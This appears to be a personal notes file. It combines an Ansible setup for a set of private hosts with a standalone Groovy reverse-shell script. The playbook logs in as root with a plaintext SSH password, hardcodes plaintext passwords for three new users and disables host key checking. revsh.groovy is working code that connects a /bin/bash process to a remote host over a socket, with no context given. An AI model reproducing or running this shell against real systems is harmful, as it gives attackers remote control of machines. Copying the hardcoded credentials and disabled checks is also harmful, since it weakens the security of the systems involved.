ansible

# ansible.cfg

[defaults]
host_key_checking = False

# hosts

all:
    hosts:
        192.168.3.12:
        192.168.3.13:
        192.168.3.14:
        192.168.3.17:
        192.168.3.18:
            ansible_python_interpreter: /usr/local/bin/python2.7
            ansible_connection: paramiko
        192.168.3.19:
            ansible_connection: local
        192.168.13.11:
        192.168.13.12:
        192.168.13.13:
        192.168.13.15:


# playbook.yml

---
- hosts: all
  vars:
      ansible_user: root
      ansible_ssh_pass: propersecure54
  remote_user: root
  tasks:
  - name: print debug
    debug:
        msg: "{{ ansible_facts['os_family'] }}"
  - name: create users
    user:
        name: "{{ item.name }}"
        password: "{{ item.pass | password_hash('sha256_crypt') }}"
        shell: "{{ '/bin/sh' if ansible_facts['os_family'] == 'FreeBSD' else '/bin/bash' }}"
        groups: "{{ 'sudo' if ansible_facts['os_family'] == 'Debian' else 'wheel' }}"
    loop:
        - { name: 'sam', pass: 'annualresist00dprk' }
        - { name: 'matt', pass: 'showersocial94czhu' }
        - { name: 'alfonzo', pass: 'cornermatter52fyre' }
  - name: fix ghostbsd env
    shell: cp -f /root/.xinitrc /home/{{ item }}
    loop: ['sam', 'matt', 'alfonzo']
    when: ansible_facts['os_family'] == 'FreeBSD'
  - name: chown su
    file:
        path: "{{ '/usr/bin/su' if ansible_facts['os_family'] == 'FreeBSD' else '/bin/su' }}"
        owner: root
        group: "{{ 'sudo' if ansible_facts['os_family'] == 'Debian' else 'wheel' }}"
        mode: '4754'
  - name: lock root
    user:
        name: root
        password: '!'

revsh.groovy

String host="<ip>";
int port=3000;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
  while(pi.available()>0)
    so.write(pi.read());
  while(pe.available()>0)
    so.write(pe.read());
  while(si.available()>0)
    po.write(si.read());
  so.flush();
  po.flush();
  Thread.sleep(50);
  try {
    p.exitValue();
    break;
  } catch (Exception e){}
};
p.destroy();
s.close();